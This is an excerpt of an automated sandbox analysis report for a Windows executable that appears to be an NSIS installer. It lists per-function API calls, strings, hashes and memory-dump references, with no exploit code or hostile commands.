Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54

Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
lstrlenW.KERNEL32(?), ref: 004063F8
GetVersionExW.KERNEL32(?), ref: 00406456

Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D

LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
FreeLibrary.KERNEL32(00000000), ref: 00406500
GlobalFree.KERNEL32(?), ref: 00406509

Strings

GetModuleBaseNameW, xrefs: 004064C0
EnumProcesses, xrefs: 004064AE
CreateToolhelp32Snapshot, xrefs: 004065E1
Module32NextW, xrefs: 0040660A
PSAPI.DLL, xrefs: 00406490
Kernel32.DLL, xrefs: 004065C7
Unknown, xrefs: 00406528
Module32FirstW, xrefs: 004065FF
EnumProcessModules, xrefs: 004064B6
Process32NextW, xrefs: 004065F4
Process32FirstW, xrefs: 004065E9

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
API String ID: 20674999-2124804629
Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59

Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
GetDlgItem.USER32(?,000003E8), ref: 004041AD
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
GetSysColor.USER32(?), ref: 004041DB
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
lstrlenW.KERNEL32(?), ref: 00404202
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E

Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030

GetDlgItem.USER32(?,0000040A), ref: 00404276
SendMessageW.USER32(00000000), ref: 0040427D
GetDlgItem.USER32(?,000003E8), ref: 004042AA
SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
SetCursor.USER32(00000000), ref: 004042FE
ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
SetCursor.USER32(00000000), ref: 00404322
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363

Strings

N, xrefs: 00404298
open, xrefs: 0040430B
F, xrefs: 004042D3

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
String ID: F$N$open
API String ID: 3928313111-1104729357
Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99

Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD

Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
wsprintfA.USER32 ref: 00406B79
GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63

Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2

WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
GlobalFree.KERNEL32(00000000), ref: 00406C7E
CloseHandle.KERNEL32(?), ref: 00406C88

Strings

%s=%s, xrefs: 00406B6F
NUL, xrefs: 00406ACA
^F, xrefs: 00406ACF
plF, xrefs: 00406B54
[Rename], xrefs: 00406BF4, 00406C03

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
String ID: ^F$%s=%s$NUL$[Rename]$plF
API String ID: 565278875-3368763019
Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010D8
FillRect.USER32(00000000,?,00000000), ref: 004010ED
DeleteObject.GDI32(?), ref: 004010F6
CreateFontIndirectW.GDI32(?), ref: 0040110E
SetBkMode.GDI32(00000000,00000001), ref: 0040112F
SetTextColor.GDI32(00000000,000000FF), ref: 00401139
SelectObject.GDI32(00000000,?), ref: 00401149
DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
SelectObject.GDI32(00000000,00000000), ref: 00401169
DeleteObject.GDI32(?), ref: 0040116E
EndPaint.USER32(?,?), ref: 00401177

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4

Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC
@bG, xrefs: 00406162

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00427DC1,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not load %s, xrefs: 004024DB
`G, xrefs: 0040246E
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-4193110038
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 0040324C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00012C00,00000064,006F2E64), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

d.o, xrefs: 00403286
verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: d.o$verifying installer: %d%%
API String ID: 1451636040-2226171409
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00427DC1,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00427DC1,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: command="%s", xrefs: 00402241
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

